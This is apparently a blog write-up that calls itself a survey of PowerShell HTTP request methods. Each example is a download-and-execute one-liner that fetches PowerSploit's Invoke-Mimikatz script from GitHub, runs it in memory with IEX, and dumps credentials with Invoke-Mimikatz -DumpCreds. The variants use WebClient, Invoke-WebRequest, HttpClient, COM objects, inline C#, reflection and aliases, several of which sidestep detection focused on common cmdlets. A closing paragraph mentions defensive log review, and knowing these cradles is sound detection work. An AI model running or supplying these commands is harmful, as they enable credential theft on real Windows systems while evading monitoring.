PowerShell gives us quite a few ways to make HTTP requests. Depending on the PowerShell version, the installed .NET runtime, and the environment we are working with, one method may be more convenient than another.
What makes this interesting is that PowerShell is not limited to commands such as Invoke-WebRequest or Invoke-RestMethod. Since it has access to .NET classes, COM objects, reflection, and even inline C# code, the same HTTP request can be performed in several different ways.
In this write-up, I am going through some of the common approaches and showing the different syntax available for each one.
Note: The commands below are kept exactly as they appeared in my original notes. They are intended for authorized lab and security-testing environments.
1. HTTP Request Methods
A) System.Net.WebClient or Net.WebClient
One of the classic ways to retrieve remote content from PowerShell is through the .NET WebClient class.
Both Net.WebClient and System.Net.WebClient refer to the same class, so either form can be used.
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds
The fully qualified version looks like this:
IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds
Instead of creating the object with New-Object, newer .NET-style syntax can also be used.
IEX ([Net.WebClient]::new().DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1")); Invoke-Mimikatz -DumpCreds
The same thing using the complete namespace:
IEX ([System.Net.WebClient]::new().DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1")); Invoke-Mimikatz -DumpCreds
WebClient Methods
Net.WebClient is not limited to DownloadString(). The class provides several methods depending on whether we want to retrieve text, files, binary data, or a stream.
.DownloadString()
.DownloadStringAsync()
.DownloadStringTaskAsync()
.DownloadFile()
.DownloadFileAsync()
.DownloadFileTaskAsync()
.DownloadData()
.DownloadDataAsync()
.DownloadDataTaskAsync()
.OpenRead()
.OpenReadAsync()
.OpenReadTaskAsync()
The synchronous methods are usually the easiest to use in small PowerShell examples, while the asynchronous versions can be useful when the request should not block the current thread.
B) Invoke-WebRequest
Invoke-WebRequest is PowerShell's built-in command for working with web content.
Unlike WebClient, this method does not require us to manually instantiate a .NET object.
IEX (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1" -UseBasicParsing).Content; Invoke-Mimikatz -DumpCreds
PowerShell also provides the iwr alias, which makes the same command considerably shorter.
IEX (iwr -Uri "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1" -UseBasicParsing).Content; Invoke-Mimikatz -DumpCreds
The HTTP response returned by Invoke-WebRequest contains more than just the response body. In this example, .Content is used to access the body of the returned response.
C) Invoke-RestMethod
Another native PowerShell option is Invoke-RestMethod.
It is commonly associated with REST APIs, but it can also be used to retrieve content directly from an HTTP endpoint.
IEX (Invoke-RestMethod "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -DumpCreds
Its built-in alias is irm:
IEX (irm "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -DumpCreds
Compared with Invoke-WebRequest, Invoke-RestMethod is especially convenient when working with structured API responses, although the basic request syntax can be very compact.
D) System.Net.Http
PowerShell can also use the newer .NET HTTP API through System.Net.Http.HttpClient.
First, the required assembly is loaded, and then an HttpClient instance is created.
Add-Type -AssemblyName System.Net.Http;IEX ([Net.Http.HttpClient]::new().GetStringAsync("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1").Result); Invoke-Mimikatz -DumpCreds
The fully qualified version is:
Add-Type -AssemblyName System.Net.Http;IEX ([System.Net.Http.HttpClient]::new().GetStringAsync("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1").Result); Invoke-Mimikatz -DumpCreds
GetStringAsync() returns an asynchronous task. In these examples, .Result is used to retrieve the final string value synchronously.
This approach is useful to know because HttpClient is the modern .NET API for HTTP communication and offers much more flexibility when building larger HTTP workflows.
E) WebRequest + StreamReader
Another approach is to work with the response as a stream.
Here, System.Net.WebRequest creates the request, GetResponseStream() exposes the response stream, and StreamReader reads the stream into a string.
IEX ([IO.StreamReader]::new([System.Net.WebRequest]::Create("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1").GetResponse().GetResponseStream()).ReadToEnd()); Invoke-Mimikatz -DumpCreds
A similar result can be achieved using the OpenRead() method from WebClient.
IEX ([IO.StreamReader]::new([Net.WebClient]::new().OpenRead("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1")).ReadToEnd()); Invoke-Mimikatz -DumpCreds
This method is a little more verbose than DownloadString(), but it is useful for understanding what happens underneath many higher-level HTTP functions: a response is received as a stream and then read by the application.
F) COM Objects
PowerShell can also communicate with Windows COM objects that provide HTTP functionality.
Some available objects include:
MSXML2.XMLHTTP
MSXML2.XMLHTTP.6.0
MSXML2.ServerXMLHTTP
MSXML2.ServerXMLHTTP.6.0
WinHttp.WinHttpRequest.5.1
One important point from the original notes is that this method may involve writing the response into a temporary location depending on how it is used.
MSXML2.XMLHTTP
IEX (New-Object -ComObject MSXML2.XMLHTTP | ForEach-Object { $_.Open("GET",'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1',$false), $_.Send(), $_.responseText }); Invoke-Mimikatz -DumpCreds
MSXML2.ServerXMLHTTP.6.0
IEX (New-Object -ComObject MSXML2.ServerXMLHTTP.6.0 | ForEach-Object { $_.Open("GET",'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1',$false), $_.Send(), $_.responseText }); Invoke-Mimikatz -DumpCreds
WinHttp.WinHttpRequest.5.1
IEX (New-Object -ComObject WinHttp.WinHttpRequest.5.1 | ForEach-Object { $_.Open("GET",'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1',$false), $_.Send(), $_.responseText }); Invoke-Mimikatz -DumpCreds
Although the object names are different, the general process is similar: create the COM object, open an HTTP GET request, send it, and read the returned response.
G) Raw C# in PowerShell
Since PowerShell can compile C# code dynamically with Add-Type, another option is to create a small C# helper class and use it directly from PowerShell.
The first example creates a wrapper around WebClient.
Add-Type -TypeDefinition 'using System.Net;public class W{public static string G(string u){using(var w=new WebClient())return w.DownloadString(u);}}';IEX ([W]::G('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1')); Invoke-Mimikatz -DumpCreds
The second version uses HttpClient instead:
Add-Type -ReferencedAssemblies System.Net.Http -TypeDefinition 'using System.Net.Http;public class HttpHelper{public static string Get(string url){using(var c=new HttpClient()){return c.GetStringAsync(url).Result;}}}';IEX ([HttpHelper]::Get('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1')); Invoke-Mimikatz -DumpCreds
This approach is especially interesting because it shows how closely PowerShell and the .NET ecosystem are connected. When something becomes awkward to express directly in PowerShell, a small C# class can be compiled and called without leaving the PowerShell session.
H) Reflective Methods
Instead of directly creating a WebClient object using its normal syntax, PowerShell can also instantiate the type dynamically through .NET reflection-related APIs.
The simplest example uses Activator:
IEX ([Activator]::CreateInstance([System.Net.WebClient]).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1')); Invoke-Mimikatz -DumpCreds
Another version retrieves the type through the assembly containing System.Net.WebClient.
IEX ([Activator]::CreateInstance([System.Reflection.Assembly]::GetAssembly([System.Net.WebClient]).GetType("System.Net.WebClient")).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1')); Invoke-Mimikatz -DumpCreds
The following example takes the idea one step further. It searches the assemblies currently loaded in the application's domain, finds the System.Net.WebClient type, creates an instance, and then uses it.
IEX (([Activator]::CreateInstance(([AppDomain]::CurrentDomain.GetAssemblies()|%{$_.GetType("System.Net.WebClient",$false)}|?{$_}|select -First 1))).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1')); Invoke-Mimikatz -DumpCreds
These examples are more complicated than directly using [System.Net.WebClient], but they are useful for understanding how .NET types can be discovered and instantiated dynamically at runtime.
I) PowerShell Aliases
Finally, PowerShell also provides familiar command names such as curl and wget in environments where they are mapped to PowerShell web-request functionality.
Using curl:
IEX ((curl 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1' -UseBasicParsing).Content); Invoke-Mimikatz -DumpCreds
Using wget:
IEX ((wget 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1' -UseBasicParsing).Content); Invoke-Mimikatz -DumpCreds
These forms are short and easy to remember, although their exact behavior can depend on the PowerShell environment and version.
Final Notes
There is no single way to make an HTTP request from PowerShell.
The same basic task can be performed through:
System.Net.WebClientInvoke-WebRequestInvoke-RestMethodSystem.Net.Http.HttpClientWebRequestandStreamReader- Windows COM objects
- Dynamically compiled C# code
- Reflection and
Activator - PowerShell aliases such as
curlandwget
At first glance, many of these methods may look like completely different techniques. Underneath, however, most of them are simply different interfaces for sending an HTTP request and reading the returned data.
Knowing the different approaches is useful when reviewing PowerShell code, analyzing scripts, troubleshooting compatibility issues, or studying how PowerShell interacts with Windows and the .NET runtime.
For defensive security work, the same knowledge can also help when reviewing logs or detections: focusing only on commands such as Invoke-WebRequest may miss network activity performed through .NET classes, COM objects, dynamically compiled C#, or reflection.